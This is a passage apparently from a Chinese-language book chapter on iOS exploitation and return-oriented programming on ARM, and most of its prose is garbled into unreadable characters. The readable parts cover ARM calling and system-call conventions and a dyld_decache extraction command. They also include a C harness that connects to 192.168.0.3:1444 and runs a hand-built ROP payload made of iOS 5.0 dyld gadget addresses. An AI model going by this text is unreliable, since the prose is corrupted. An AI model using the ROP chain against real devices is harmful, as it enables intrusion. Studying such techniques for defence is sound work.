ᤁᛠMac OS Xᄉ᝟ኪ఺धݼ໣วஈѣርࣿᄉधԦǌФࠃὋ᤯᣾Ӝѫ฽ណဖܑˀᦉᎷဖܑᄉຸ̼

ᆉ੊̃ᤈ҃஠͇˧ᫍᄉࢿऩὋੇ͂˶Ժ̾फຌഁᤇ̃Ꮷ˧ᫍᄉРবǌ 
᤯࣡ৰхʽὋܷ  Ժ̾΍ၸˏሗን႔ࠪ໣วஈѣርࣿᤈᛠ฽ណǌኃʶሗ௦ᯪЎ˝32ͮMac OSࠑ

Xጆፑ὇ڙᘾ઱఺˖Ὃ̾ ᫸᜵ူܪጆፑ۶ὈधԦ໣วஈѣርࣿὋཨՐ࠱Фሧೱҁࣂፂᡔ࿜ᄉiPhone
ʼὋణՐڙలᡔ࿜ᄉiPhoneʼࠪФᤈᛠ฽ណǌ΍ၸᤇሗழกᝧੇ͂Ժ̾ᝌфలᡔ࿜ᄉiPhoneʼ෤

థុណ٧Ժၸᄉ᫇ᮤǌ 
ኃ̃ሗን႔Ե᤟ၸ̅໣วԺڙ฽ណርࣿ˖᧗ဗᄉৰхǌ˶ ௦ឬὋ᜵ᑞܴઁ௛ԩஈѣᄉं੊ࡂ

ಳ౵Ӊդڙ᜵ᦉᎷҁधԦᏧiPhoneʼᄉ฽ណःၸ˖Ὃࣲ̯ឞ฽ណःၸഴ͋ᝎԦ్͇ǌᤇሗን႔ᄉ

᤟ၸবिὋʿ᣾ݟ౦Ժ̾΍ၸ߱ὋܷࡂࠑԺ̾ѽၸiPhoneःၸᄉXcodeុណҩᑞᄯଋڙ੣఺ʼុ

ណ໣วஈѣርࣿǌ 
ణՐὋឯӡʹʿ᜵ࠪ฽ណဖܑ˖໣วஈѣርࣿᄉᑞҦϡ͉ʹϛ᝹ǌ̂ࠃʼὋiPhoneʼᄉ෡ᄣ

఺҃ԺᑞˀMac OS Xʼᄉ෡ᄣ఺҃ʿՎǌ൤ܰὋ˝iPhoneᡔ࿜ܷܷ͗இԪ߱ᄉऄࡎ߶КፆౝὋځ

൤Ӭ࿗ࠪ໣วஈѣርࣿᤁᛠᄉథ஌ᣑᕲᤈᛠ฽ណݼጻ௦ఝݝᄉᤤસǌ 
 ੯ᛠᤇሗ฽ណǌʹݟᝌ˿࠱ࠑܷ˖ኃ8ብڙ

7.9� ᇣ㒧 

ఴብଉቂ˿iOSʼˏሗణ࣡ၸѫᦠርࣿᄉЮᦉ఺҃ǌੇ͂ઁMac OS Xͺ˝฽ណࣰԻὋ߸੆˿

໣วஈѣ੝๗Ԣᄉܷᦉѫþᑥาጌาÿǌ 
ఴብᝌ᧕˿ᔩ࣯ሗଌ҃TCMalloc֖ጆፑ۶ᄉ੾ࢻǌХͳ౎ᝮὋఴብᒰҦ̅಩૵Չሗ੾ࢻణ᤟

ၸᄉ໣วዜۋ౎Ӝѫ੾ࢻǌܷࠑᄹҁ˿ࠪᣖளྟiPhone͇ڌᤈᛠ໣วஈѣ੝ࣛ౎ᄉૌੌὋХͳᏪ

 ᬱǌڇ˿௦ASLR˝ѸतԺ᭤˄Ժሧೱᄉ໣วஈѣርࣿࣛ౎ࡂᝒ
ణՐὋܷ ˿ᄉ᧪ࠪiOS 3.1.3ᄉMobileSafari໣วஈѣርࣿᇧΒὋᏪ˄˿ᝌڙߚࠃᄹҁʶ˓ဗࠑ

 ʿ̖ၶሧೱ᫇ᮤ֖ᩱឧϛ᝹ᄉґଡʽᤈᛠዴᆷ฽ណᄉን႔ǌڙ

���Ԛѫմ�INGS॑ࢲ֣��Ћцߓ୍࣍س�



182� � ኃ 8 ብ� ᭦Փᤄٿᄉርࣿ᝹᝟ 

 

䴶৥䖨ಲⱘ⿟ᑣ䆒䅵 

 
iOS̯2.0ྟध᳭ݼᝢ˝iOS᝹ܫʼᤁᛠᄉ੝థःၸըၸ˿DEP὇Data Execution PreventionὋஜ

૵੯ᛠγએὈǌځ൤Ὃ᜵ᝧ͉਒̼ᆉᦏᑞܴڙ᝹ܫʼ੯ᛠὋ׬ʶԺᛠᄉᝌфழ಴ࡂ௦ROP
὇Return-Oriented ProgrammingὋ᭦Փᤄٿᄉርࣿ᝹᝟Ὀǌࡉክᤇʶ੾శʿ௦ARM౵ౝ࿗థᄉὋͭ

ˀARM౵ౝᄰСᄉʶ̎ྱ൳ૌੌ௦Ϙ३ଉᝦᄉǌ൤ܰὋڙФ̴ࣰԻʼROP᤯࣡Ե௦ͺ˝ሄၸ᭣

Ժ੯ᛠͮᄉ౩ጰὋˀ൤ʿՎᄉ௦ὋiOS˖ஞ˓థ஌ᣑᕲᦏᭉ᜵ύүROPзЙὋځ˝෤థҨก̯ၸ

ਖ਼ቆᫍሄၸDEP੊̼ᆉኣՏǌ 
ፏࠑᄉ̼ᆉзЙథ஌ᣑᕲὋ੝ܷ̾ڙߚፂࣂ˖ቆᫍڦڠ਒։ᅋΙᠺःၸርࣿࡂ΍ၸROP˝ځ

ࠪథॸ᜵˿ᝌARM౵ౝᄉ۲ᆨᅻខ֖iOS˖ၸҁᄉុၸጝ߿ǌ 
ఴብ͗ଉᝦ੆ҩзЙROPథ஌ᣑᕲ੝ᭉᄉഏএǌੇ ͂ᯪЎଠᤗݟʹ੣Үઁࣂፂڙߚᄉःၸር

ࣿͮᄰᤋ̾Ѹतᤋ፝ᄉథ஌ᣑᕲὋଋᅋҕౡԺ̾΍ឞ᣾ርᒬҮӐᄉழกὋ̯ ᏪᥗБᒬࣁҮ੣߸੆

଼ጉࣲᩖଋ̼ᆉͮᤇሗጒ᧗Ꮺ౱ྋᄉ͉ҫὋ˧Րࡘᇧࣲѫౡʶ̎ROPథ஌ᣑᕲᄉᇧΒǌᤇ̎ᇧΒ

ᝧ੣఺૜Ү੊ݟᄉ͉ҫὋඊ߿ᄉ໣วஈѣርࣿ˖ၸ౎ᩖଋܲ˓໣วஈѣርࣿὋ੊௦੯ᛠྱࠃဗڙ

௦ᄦԨSMSஜ૵ंǌ 
ణՐὋఴብᝦ᝶˿ڙᏥᘼҁ෡ᄣᬌ҃ˀASLRᄉৰхʽὋ̣˥ಧᄉ฽ណৰ௿ణ᤟ՋiPhoneʼ

ᄉROPधԦǌ 

8.1� ARM ෎⸔ⶹ䆚 

ARM௦ʶሗ΍ၸRISC὇Reduced Instruction Set CodeὋዴኤૈ̽ᬶ̼ᆉὈᄉ౵ౝὋᤇ਒։ᅋ

߱Хథॡ࠵ᄉૈ֖̽᝴ܲ᤯ၸ࠘٧ߚǌ̂ࠃʼὋ঳Рథ16˓ᜁಕ᝭˝R0~R15ᄉ࠘٧ߚǌʶᓉᏪ

ᝒὋణՐ3˓࠘٧ߚХథྱ൳ᄉϘ֖ՏሥǌR13Ԡሥ˝SP὇ಖૈ᧪࠘٧ߚὈὋR14Ԡሥ˝LR὇ᩖଋ

௦ឬὋࡂ˶٧Кᦉ௦᤯ၸᄉὋߚ٧ὈὋR15Ԡሥ˝PC὇ርࣿ᝟ஜ٧Ὀǌˀx86౵ౝʿՎὋᤇ̎࠘ߚ࠘

ੇ͂Ժ͉̾࠱਒ϘሧҮҁርࣿ᝟ஜ٧˖ࣲஇԪርࣿึǌՎಧὋੇ ͂˶Ժ̯̾ርࣿ᝟ஜ٧ឳѢஜ૵Ὃ

̾ᆷॆ߿ґ੯ᛠᄉૈ̽ǌ 
ARMХథˏሗ੯ᛠഴयúúARM֖ThumbǌARMv7धݼलЙ˿ኃʻሗഴयúúThumb-2ǌ

ARM֖Thumbഴयᄉ˞᜵ӜѾ̅ڙThumbૈ̽௦16ͮᄉ὇ʿ᣾ុၸୱͺᆉ̮ཨ௦32ͮᄉὈὋᏪ

ARMഴयʽᄉ੝థૈ̽ᦏ௦32ͮᄉǌThumb-2ૈ̽௦16֖ͮ32ͮЩᏪథ˧ǌᤇሗ᝹᝟ᆷγThumb

ኃ �ብ
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ഴयԺ̾੯ᛠARM̼ᆉԺ̾੯ᛠᄉ੝థୱͺ὇Βݟऩ࣡̾ူܪԢࠪӨ٧ူܪᄉ᝺᫇Ὀǌ 
˝˿ᝧ٧ူܪᅻ᥊௦੯ᛠᄉARMഴयᤆ௦ThumbഴयὋᤇ᧖థʶ˓ኤӬᄉጝ߿ǌݟ౦੯ᛠᄉ

௦᜵੯ᛠARMഴयǌఝൣࡂ௦᜵੯ᛠThumbഴयὋՠѶࡂ఺ူܪణʿ᧗᜵ᄉʶͮኍ̅1Ὃ˖ڦڠ

यڠᝮὋॆڙ٧ူܪґርࣿ࿃খ࠘٧ߚ὇CPSRὈᄉTͮ˝1˄Jͮ˝0ௐ͗੯ᛠThumb̼ᆉǌ 
ARM֖ThumbഴयڙԺᛪ᣹বʼࢿʿܲ௦ኍ͈ᄉὋͭ߱͂ᄉү᝭ቿʿՎǌѫౡARM٧ူܪ

ʼԺ̾΍ၸᄉКᦉૈ̽ʿ௦ఴብ᜵ϡᄉ̂ৰὋʿ ᣾ੇ͂ᤆ௦͗ᝌౡФ˖ʶ̎ૈ̽Ὃڙ͗͂߱˝ځ

ఴብᮟጒѢဗǌ 

8.1.1� iOSⱘ䇗⫼㑺ᅮ 

 ǌ߿௦ူᝌᄫಕOSᄉុၸጝࡂROPௐὋణ᧗᜵ᄉ̂ৰ˷ߥڙ
iOS΍ၸ˿ARMᄉಕэុၸጝ߿ǌґ4˓ԟஜ௦΍ၸ᤯ၸ࠘٧ߚR0ҁR3͛ᤫᄉὋᏪఝܲᄉԟ

ஜ͗ᜁԌЙಖ˖ǌᤄٿϘ௦ߚϱڙR0࠘٧ߚ˖ǌ 
ARMૈ̽ᬶ˖థᔩ࣯ሗុၸѥஜ֖இԪ੯ᛠึᄉழกǌ᜵ϡҁᤇ̎Ὃᬓ˿੣Ү࠱ርࣿ᝟ஜ

٧᝹Ꮅ˝੝ᤤᄉϘὋణኤӬᄉழयࡂ௦᧓ၸB὇ѫஂὈૈ̽Ὃឞૈ̽͗ઁርࣿ᝟ஜ٧இԪ੆ኃʶ

˓ୱͺஜૈ߿ᄉڦڠǌ 
ʼὋ߱ʿ̨͗ࠃᭉ᜵BL὇ࣛᩖଋᄉѫஂὈૈ̽ǌ̂ࡂ;ጊᬣុၸ˧Րᄉૈ̽Ὃٿ౦ਆ᜵ᤄݟ

ઁርࣿ᝟ஜ٧Ꮅ˝ၿኃʶ˓ୱͺஜૈ߿ᄉڦڠὋᤆ͗ઁᤄٿᄉߚڦڠϱҁLR࠘٧ߚ˖ǌ 
Ὃੇ˖٧ߚ࠘ڙϱߚڦڠ౦᜵᡹ᣀҁᄉݟ ڦڠٿϱᤄߚʿڙԺ̾΍ၸBXૈ̽ǌឞૈ̽͗ࡂ͂

ᄉৰхʽஇԪ੯ᛠึǌ 
ˀBL᭣࣡ᄰͪὋBLXૈ̽͗੯ᛠͺ˝ኃʶ˓ୱͺஜ͛ᤫࣲߚϱ٧ߚ࠘ڙ˖ᄉڦڠὋࣲ࠱ᤄٿ

ᄉߚڦڠϱڙLR࠘٧ߚ˖ǌ 
ܷͳʼᝮὋࠪ̅ARMᎃដᄉѥஜ౎ឬὋ̾BX LRፆࡊᤄុٿၸѥஜ௦ॡ࣡᜸ᄉǌѥஜ˶Ժ̾

ઁLRᄉϘԌЙಖ˖ὋཨՐڙᤄٿௐ࠱ФीѢҁPC࠘٧ߚ˖ǌ 

8.1.2� ㋏㒳䇗⫼ⱘ䇗⫼㑺ᅮ 

௦iOS˖Ὀࡂᝮڠᭉ᜵˿ᝌᄉԲʶ˓᧗᜵ഏএ௦ARM˖὇ХͳࠑधԦARMథ஌ᣑᕲௐὋܷڙ

ᄉጆፑុၸ௦ݟʹᤈᛠᄉǌఴ˹іͮͺᏧᄉݝధԣ͂డፂѢ̅ˏ˓ԓࠪځጆፑុၸᤈᛠ᣾໣วஈ

ѣǌᯪЎὋڙʿᭉ᜵ౝᤴᤈᛠंុၸௐ᤯࣡ᭉ᜵ᄉઙ៵ஜ૵ዜۋৰхʽὋ̴͂Љ᝴໣วஈѣርࣿ

੯ᛠࠃၸᏪुܷᄉୱͺǌΒݟὋᏥᘼʶʽ̯஠͇˖ឳஜ૵ᤇʶኤӬୱͺǌܷ ()Ժᑞ͗΍ၸfreadࠑ

̯஠͇ឳஜ૵Ὃࣲϡʽ᭦ᤇಧᄉ̂ৰὙ 

fread(mybuf, sizeof(mybuf) -1, 1, filestream); 

Ф˖mybuf௦CឥᝒᎃзᄉᎀуӜὋfilestreamѶ௦ૈՓFILEፆౝͳᄉૈ᧪ǌFILEፆౝͳᄉ߿

�ʽ੝ᇧὙݟ˦

typedef struct __sFILE { 
        unsigned char *_p;      /* Ǆగ߲ǅ࣐؋൶ዐړമڦ࿋ዃ */ 
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        int     _r;             /* ାߴgetc()܁ڦ੣क़ */ 
        int     _w;             /* ାߴputc()ڦႀ੣क़ */ 
        short   _flags;         /* Քኾ, below; ස0ྺࡕሶ޿FILE๟੣ှڦ */ 
        short   _file;          /* සࡕ๟Unix௮ຎޙǈሶྺ࿔ॲ௮ຎޙǈޏሶྺ-1 */ 
        struct  __sbuf _bf;     /* ࣐؋൶ǄසݥࡕNULLǈٷၭ዁ณྺ1ጴবǅ */ 
        int     _lbfsize;       /* 0 ई _bf._sizeǈܔᆌా૴ࡧຕputc */ 

 
        /* ֡ፕ */ 
        void    *_cookie;       /* ߴڿدioࡧຕڦcookie */ 

        int     (*_close)(void *); 
        int     (*_read) (void *, char *, int); 
        fpos_t  (*_seek) (void *, fpos_t, int); 
        int     (*_write)(void *, const char *, int); 
 
        /* ྺungetc()׊ڦႾଚ؋࣐߰ݴ൶ */ 
        struct  __sbuf _ub;         /* ungetc؋࣐ڦ൶ */ 
        struct  __sFILEX *_extra;   /* ܔFILE৊ႜց؊ǈܸٗփ೦࣋ABI */ 
        int     _ur;                /* ړ_rྺungetcຕ਍ऺຕ้ǈԍ٪_r */ 

 
        /* ᅃၵၭࢾቲǈኄᄣनՍmalloc()฿Өᄺీ஢ፁፌၭᄲ൱ */ 
        unsigned char _ubuf[3];     /* ԍኤungetc()࣐؋൶ */ 
        unsigned char _nbuf[1];     /* ԍኤgetc()࣐؋൶ */ 

 
  /* ൶؋࣐߰ݴ()൶Չহ้ǈྺfgetln؋ሁ࣐حlineړ */        
        struct  __sbuf _lb;         /* fgetln()؋࣐ڦ൶ */ 

 
        /* UnixՔጚio࿔ॲᇑfseek()ฉాڦ٪੷Չহܔഋ */ 
        int     _blksize;           /* stat.st_blksize Ǆ੗ీփڪᇀ_bf._sizeǅ */ 
        fpos_t  _offset;            /* ړമڦlseekೋᅎଉǄ९Đয়ߢđǅ */ 

 
} FILE; 

ஈѣᏧڙзЙ̴ᄉshellcodeௐԺᑞᭉ᜵ڙЮߚ˖᯾႐ᤇಧʶ˓ፆౝͳǌઝᤇज़ज़௦ཐဴᏪ˄

ࣲ᭣ᄽൣॸᭉᄉὋځ˝С̅஠͇ᭉ᜵˿ᝌᄉζোԵథ஠͇ଠᤗቿὋԀʶ˓ஞஜǌ੝̾ὋஈѣᏧ͂

̾ґϙՓ̅ᤤસጆፑុၸὙ�

read(filedescription, mybuff, sizeof(mybuf) – 1); 

Ф˖׬ʶᭉ᜵ᄉζোࡂ௦஠͇ଠᤗቿ὇ʶ˓ஞஜὈǌ�

ጆፑុၸݟ൤խल໣วஈѣርࣿᎃзᏧᤆథʶ˓ԓځὋԀ̴͂Ժ̾ڙʿၸઝॶंҪᣑ֖ڦڠ

ᬣ఺Ӑᄉৰхʽᤈᛠጆፑុၸǌ൤ܰὋʿ ክज़ःၸርࣿᄉڦڠቆᫍ˖Ҫᣑ˿̣˥ंᦏԺ̾ᤈᛠጆ

ፑុၸǌ̂ࠃʼὋጆፑុၸᝧၸਖ਼ቆᫍᄉःၸርࣿԺ̾ѽၸᬝ᫷὇trapὈុၸͮ̅Юನቆᫍ˖ᄉ

̼ᆉǌඇ˓Ժၸᄉጆፑុၸᦏథˀ˧СᐎᄉᎃՁὋᝧЮನᅻ᥊᜵ុၸ̣˥ѥஜǌࠪ ̅iPhone౎ឬὋ

ጆፑុၸᎃՁ௦ߚϱڙSDKᄉᄰࠪᡸफ़/usr/include/sys/syscall.h˖ᄉǌ 
ཿ৘x86౵ౝᄉ̠ᦏᅻ᥊ᤈᛠጆፑុၸᄉʶᓉழयὙઁጆፑុၸᎃՁߚϱҁEAX࠘٧ߚ˖Ὃ

ཨՐ΍ၸ඼ᎃૈ̽int 0x80ᝎԦ0x80ᬝ᫷὇᠆᠉ࠪူܪጆፑុၸᄉុၸὈǌ 
ARM౵ౝ˖ᄉុၸጝ߿௦૊ཱᤈᛠ௾᤯ុၸᄉழयߚϱԟஜǌڙᤇ˧ՐὋጆፑុၸᎃՁ͗

ᜁߚϱڙR12࠘٧ߚ˖Ὃ᜵ុၸ߱ࡂ᜵ၸҁ඼ᎃૈ̽SVCǌ 
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ࠪ̅᭦Փᤄٿᄉርࣿ᝹᝟Ὃੇ͂ᭉ᜵ᅻ᥊ंᄉڦڠὋ̾੼ҁథၸᄉSVCૈ̽Ὃځ˝ʶᓉ౎ឬ

Եథंѥஜ੥͗΍ၸጆፑុၸǌ 

8.2� ROP ㅔҟ 

ᙉཨဗڙៀᡐROPௐ̯͂࣡࣡͗ઁ߱ॆ੆ʶሗளᱤ̂ྫྷὋͭФຍຸ᜵ᤜເҁ1997ࣱὋᥦௐϊ

ʶͮᜁሥ˝Solar Designerᄉ߶Кᆐቂ̠տᯪ൒М࣊˿ʶ˓΍ၸreturn-into-libc὇ᤄٿlibc˖Ὀ੾శ

ᄉ໣วஈѣርࣿǌ 
̯1997ࣱᡐὋৰхࣂፂԦၶ˿౜ܷᄉԪӐὋˀ ̾ґᄰඊὋဗڙᄉROP᜵ܬఽ३ܲǋु ܷ३ܲǋ

 ͺԓူὋreturn-into-libc௦˓ፏ·ᄉᡐཁǌࢹၸ३ܲǌពᙉᤇ˥ឬὋͭ᜵ख़ऄူᝌROP̾Ԣ߱ᄉࠃ
ᙉཨڙᥦௐᄹ౎Хథ᭨֐ব᠎ὋͭSolar Designerᄉ੾శᐿՐᄉধᡸФࠃ᭣࣡ኤӬǌݟ౦

shellcode᜵ϡᄉԵ௦̖ၶshellὋᏪ˄˝˿ϡҁᤇʶཁࣂፂథंѥஜԺၸὋᥦَ࣯ᤆ᜵ᎃзᮨܰᄉ

̼ᆉ὞߱͂ࣂፂᦏڙᤇЇ˿ὀ 
 ԟஜ͛ᤫҁѥஜ˖ࣲុၸឞѥஜǌSolarઁʹݟ௦ଽຌഁࡂԵᭉ᜵ϡʶ͇̂Ὃᥦࠑܷ

Designerᥦௐϊူܪᄉ௦௾᤯ᄉಖᎀуӜຼѢὋᤇ਒։ᅋ̴Ժ̾ᬣ਒᧗зஞ˓ಖᄉЮࠓǌஈѣ

Ꮷ͛ፑᄉϡก௦ज़ಖ᧖зЙshellcode̼ᆉὋཨՐ࠱ᤄڦڠٿ᝹Ꮅ˝ૈٿᤇ̎shellcode̼ᆉὋ̾

Ԩ३̼ᆉ੯ᛠాǌ 
Solar DesignerᄉϡกѶʿՎὋ̴உЙಖ˖ᄉ௦ஜ૵Ꮺʿ௦Ժ੯ᛠ̼ᆉὋᤇಧʶ౎ࡂʿၸ੯ᛠ

థ஌ᣑᕲὋᏪ௦ᄯଋ࠱௛ԩஈѣѥஜᄉᤄڦڠٿ᝹Ꮅ˝execve()ंѥஜǌ 
ಖ˖͛ᤫԟஜὋ੝̴̾ઁਆ᜵͛ᤫፋexecve()ᄉԟڙ௦߿1997ࣱௐx86 Linuxᄉុၸጝ˝ځ

ஜԌЙಖ˖Ὃ̯Ꮺ߸੆˿໣วஈѣǌ 
ᇧ˿ᥦௐϊʶᓉᄉಖຼѢ໣วஈѣርࣿˀSolar Designerѽၸreturn-into-libcᎃзᄉ໣ࡘ1-8ڎ

วஈѣርࣿ˧ᫍᄉӜѾǌ 

 

�1-8ڎ ಕэ໣วஈѣርࣿˀreturn-into-lib-c໣วஈѣርࣿᄉಖ࣊ࠪࡌඊ 
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�1-8ڎ ὇፝Ὀ 

ROPΙ૵ᄉഏএ௦ᤇಧᄉὋѽၸreturn-into-libc੾శʿ̨ᑞុၸѥஜὋᏪ˄థԺᑞ಩૵ᤈርڠ

 ፂԺၸᄉ̼ᆉౝतஞ˓థ஌ᣑᕲ֖ርࣿǌࣂ˖ቆᫍڦ
᜵ϡҁᤇʶཁὋڙधԦథ஌ᣑᕲௐ፤૆ࠪಖᄉଌ҃ా௦ᒯС᧗᜵ᄉǌ 
ᄉþᤄ᧪ૈ̽ૈٿԺᑞઁܲ˓Ժ̾ፘ̯፝ФԨࡂὋ̴ࡌʼὋԵ᜵ஈѣᏧԺ̾ଌ҃ಖᄉ࣊ࠃ̂

 ੝ᇧᄉಖǌ˖2-8ڎ੯ᛠᔩ్࣯ૈ̽ǌ౎ᄹڠ൤Ժ̾ᬣॶ੝ൗځʶᡐὋࣲڙÿૈ̽ᤋଋٿ

 
8-2� ROPಖ࣊ࡌᇧΒ 

ǌԵڦڠᤇ᧖Ὃኃʶ൒ុၸ˧Րኃʶ˓pop-pop-retૈ̽ࣿѴ͗᡹ᣀҁಖ˖ᄉኃ̃˓ѥஜᄉڙ

᜵᣹੆ஈѣᏧᄉᄫಕᭉ᜵ᄉពὋᤇ˓᣾ርԺ̾ʶᄯ૆፝ǌ 

8.2.1� ROPϢේbug 

ʿཿ৘ROPὋԺᑞ͗ਆᤇʶ੾శ௦ʿ௦Եᑞၸ̅ˀಖథСᄉbugǌৰхʿ௦ᤇಧᄉὋࠑ౦ܷݟ
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۲ఴʼੇ͂঳௦థԺᑞᝧಖૈ᧪࠘٧ૈߚՓ۶ᄉͮᎵǌ 
಩૵੣˖੝ଌ҃ᠪຸᄉʿՎὋੇ ͂᜵΍ၸᄉ੾శ˶ʿՎǌʿ ᣾੝థᄉ੾శʶᓉᦏԺ̾ॅፆ˝

ᣀሧಖᄉͮᎵὋᄯҁ߱ҁ᣹ஈѣᏧଌ҃˧ʽᄉڦڠὋ੊௦٧ߚ࠘࠱ᄉЮࠓሧҮҁಖૈ᧪˖ǌ 

8.2.2� ᠟Ꮉᵘ䗴ROP᳝ᬜ䕑㥋 

зЙROPథ஌ᣑᕲᄉʶ˓˞᜵᫽ᆽ̅ڙὙࠬ੼໗ᡛᭉයᄉՋ᤟ૈ̽ࣿѴ᜵ᔈॡܲᄉௐᫍǌ̯

᭣࣡ኤӬᄉࡎ᭦ʼᝮὋځ˝ARMૈ̽ᦏ௦2ߙᓫ੊4ߙᓫࠪᴎᄉὋ੝̠̾͂Ժ̾΍ၸኤӬᄉԥ඼

ᎃርࣿὋࣲѽၸgrepࠃၸࢹХ੼ҁ߱͂ǌူܪڙኤӬᄉథ஌ᣑᕲௐὋᤇಧϡࡂᡛܴ˿Ὃځ˝ʶᓉ

Եᭉ᜵࠵᧙ᄉૈ̽ࣿѴǌఴᓫࣛ࠱ᮖܷࠑଉጉᤇʶ᣾ርὋҪຆܷࠪࠑౝतᤇሗథ஌ᣑᕲᄉ൥ᰠᄉ

ူᝌǌ 
ÿ˖ǌਆ᜵ಉߚᄉþᎀܷࢼ˓dyld_shared_cacheᤇڙϱߚiPhoneʼὋ੝థᄉጆፑंᦏڙ

੼ᒬࣁᭉ᜵ᄉૈ̽Ὃੇ͂ᯪЎࡂ᜵ઁं̯ᤇ˓Р̙ᎀߚ˖ଡԨѢ౎ǌ᜵ϡҁᤇʶཁὋܷ͗ࠑၸҁ

dyld_decacheࢹХὋឞࢹХԟ᜸https://github.com/kennytm/Miscellaneousǌڙᤇ᧖ὋܷࠑԺ̾ᄹ

ҁેڙʹݟଋ˿ࣂᝌࠚ஠͇ጆፑ὇ᄰࠪᡸफ़ὈᄉMac OS Xʼ࠭ѢlibSystemὙ 

./dyld_decache -f libSystem 
System/Library/Caches/com.apple.dyld/dyld_shared_cache_armv7 

᜵ڦڠڙቆᫍ˖੼ҁՋ᤟ᄉࢹХὋஈѣᏧᤆԺ̯̾Үখᩖଋ٧֖ःၸርࣿᄉ˞̃ᤈ҃஠͇ʽ

੣ǌФ˖ὋґᏧՏ˝dyldὋͮ̅/usr/lib/dyldὋᏪՐᏧ᤯࣡ڙࡂःၸርࣿӉ˖ǌ�

᜵зЙROPథ஌ᣑᕲὋᯪЎ᜵੯ᛠʶᮉኤӬᄉୱͺὋඊݟՓࣂፂधஉᄉ΍ၸ˿ROPᄉݒଋߙ

зЙʶ˓Ӭជǌ̾ʽCឥᝒ̼ᆉࡂ௦ܷࠑ᜵ၸROPഴ͋ᄉὙ 

char str[] = "TEST"; 
write(sock, str, 4); 
close(sock); 

�३ҁ̾ʽARM඼ᎃ̼ᆉൿὙ͗ࡂᎃដᤇൿ̼ᆉௐὋࠑܷॆ

__text:0000307C         LDR.W       R0, [R7,#0x84+sock] ; int 
__text:00003080         LDR.W       R1, [R7,#0x84+testString] ; 
 void * 
__text:00003084         LDR.W       R2, [R7,#0x84+var_EC] ; size_t 
__text:00003088         BLX         _write 
__text:0000308C         STR.W       R0, [R7,#0x84+var_F4] 
__text:00003090         LDR.W       R0, [R7,#0x84+sock] ; int 
__text:00003094         BLX         _close 

ʿѢ੝஧Ὃᤇ᧖ᄉథ஌ᣑᕲᄽ௦ॱʿᡛ᥊Ὃᎃដ٧ѽၸಖߚϱwrite()ᄉᤄٿϘὋᏪឞѥஜ

௦̯ឞಖ˖ឳԨ੝థॸ᜵ᄉԟஜǌ�

ဗࣂڙፂథ˿ܷᒰᄉ̼ᆉಳ౵ὋԺᑞᤆᭉ᜵ᤈᛠʶ̎ុஞὋ̾΍̯ARM඼ᎃҁROPᄉᣀ૰

᣾ርࡉԺᑞڠኤӬழΦǌܷࠑԺ̾ϛ᝹sockଠᤗቿڙR6˖Ὑ 

MOV R1, $0x54534554 
STR R1, [SP, #0] 
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STR R1, SP 
MOV R1, SP 
MOV R2, #4 
MOV R0, R6 
BLX _write 
MOV R0, R6 
BLX _close 

˧ஈѣᏧᄉଌ҃ڙܪథ˿ROPὋಖ˝ځὋࠃѽၸ˿ಖǌФڠԺᑞܲࡉࠑឞథ஌ᣑᕲ˖Ὃܷڙ

ʽὋ੝̾ᤇಧౝᤴshellcode̼ᆉࡂᝧஈѣᏧԺ̾ђ࠵᜵ࠬ੼ᄉૈ̽ྞൿὋځ˝Ժ̾ᄯଋଌ҃ಖᄉ

ЮࠓὋᤇಧಖ˖ᄉ੝థߚϱୱͺᦏʿᭉ᜵ᤈᛠ˿ǌԲʶ˓᧗᜵ᄉӜѾࠑܷ̅ڙԺ̾γߚᭉ᜵ᄉल

ၸ὇ΒݒݟଋߙὈҁల΍ၸᄉ᤯ၸ࠘٧ߚὋࡉԺᑞڠᥗБஇԪಖᄉЮࡌ֖࣊ࠓǌ�

ఴΒ˖΍ၸ˿iOS 5.0˖ᄉҮখᩖଋ٧dyld౎ѸतROPథ஌ᣑᕲǌѢ̅̾ʽ3˓ԓځὋᤤસ

dyld௦ॡ᧗᜵ᄉὙ 
� ߱͗ᜁҪᣑҁඇ˓ःၸርࣿᄉڦڠቆᫍ˖὚ 
� ߱Ӊդ˿ॡܲंѥஜ὚ 
� ᬓ᭣ःၸርࣿᄉ˞̃ᤈ҃஠͇௦ᬣ఺ଅѴᄉ὇˶ࡂ௦ڙᎃដௐ΍ၸ˿MH_PIEಕংὈὋՠѶ

dyldʿ͗௦ᬣ఺ଅѴᄉǌ 
᜵฽ណឞROPథ஌ᣑᕲὋᤇ˓ኤӬᄉःၸርࣿ͗ᤋଋҁᤉርనҫ٧Ὃࣲઁឞథ஌ᣑᕲߚϱڙ

ᎀуӜ˖Ὑ 

int main(int argc, char *argv[]) 
{ 
 
    int sock; 
    struct sockaddr_in echoServAddr; 
    sock = socket(PF_INET, SOCK_STREAM, 0); 
    memset(&echoServAddr, 0, sizeof(echoServAddr)); 
    echoServAddr.sin_family = AF_INET; 
    echoServAddr.sin_addr.s_addr = inet_addr("192.168.0.3"); 
    echoServAddr.sin_port = htons(1444); 
    connect(sock, (struct sockaddr *)&echoServAddr, sizeof(echoServAddr)); 
    DebugBreak(); 
    unsigned int *payload = malloc(300); 
    int i = 0; 

᜵ᤁᛠᤇൿshellcode̼ᆉὋܷࠑᭉ᜵΍ၸʶ࠴ൿ඼ᎃ̼ᆉઁsockԪ᧙҃ܬҁR6࠘٧ߚ˖Ὃ

̾໗ᡛ˧ґ੝ͺᄉϛ᝹ǌᬣՐὋܷࠑ᜵ઁಖૈ᧪ૈՓథ஌ᣑᕲԪ᧙Ὃᤇ˓Ԫ᧙˖դథܷࠑၸROP
ૈ̽ྞൿౝᤴᄉಖǌణՐὋ˝˿੯ᛠ̼ᆉὋܷࠑᭉ᜵ᒬள᝹Ꮅᄉಖૈ᧪ࠪܪርࣿ᝟ஜ٧੯ᛠѢಖ

ୱͺὙ�

                __asm__ __volatile__ ("mov sp, %0\n\t" 
                                "mov r6, %1\n\t" 
                                "pop {pc}" 
                                : 
                                :"m"(payload), "m"(sock) 
                                ); 
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ኃʶ˘ROPૈ̽ྞൿᄉᄫಕ௦ઁR6ߚϱҁR0˖ǌ᜵ϡҁᤇʶཁὋੇ͂੯ᛠ˿̾ʽૈ̽Ὑ�

payload[i] = 0x2fe15f81; //2fe15f80   bd96pop {r1, r2, r4, r7, pc 
i++; 
payload[i] = 0x0; //r1 
i++; 
payload[i] = 0x2fe05bc9; //r2 2fe05bc9 bdea pop {r1, r3, r5, r6, r7, pc} 
i++; 
payload[i] = 0x0; //r4 
i++; 
payload[i] = 0x0; //r7 
i++; 
payload[i] = 0x2fe0cc91; //pc, 
/*  4630     mov     r0, r6 
    4790     blx     r2 
 
    Blxॽཌገ2ڟfe05bc9 

*/ 

